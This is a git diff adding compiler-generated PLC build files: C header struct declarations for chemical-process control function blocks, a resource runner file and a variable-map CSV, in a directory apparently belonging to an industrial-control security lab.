struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; 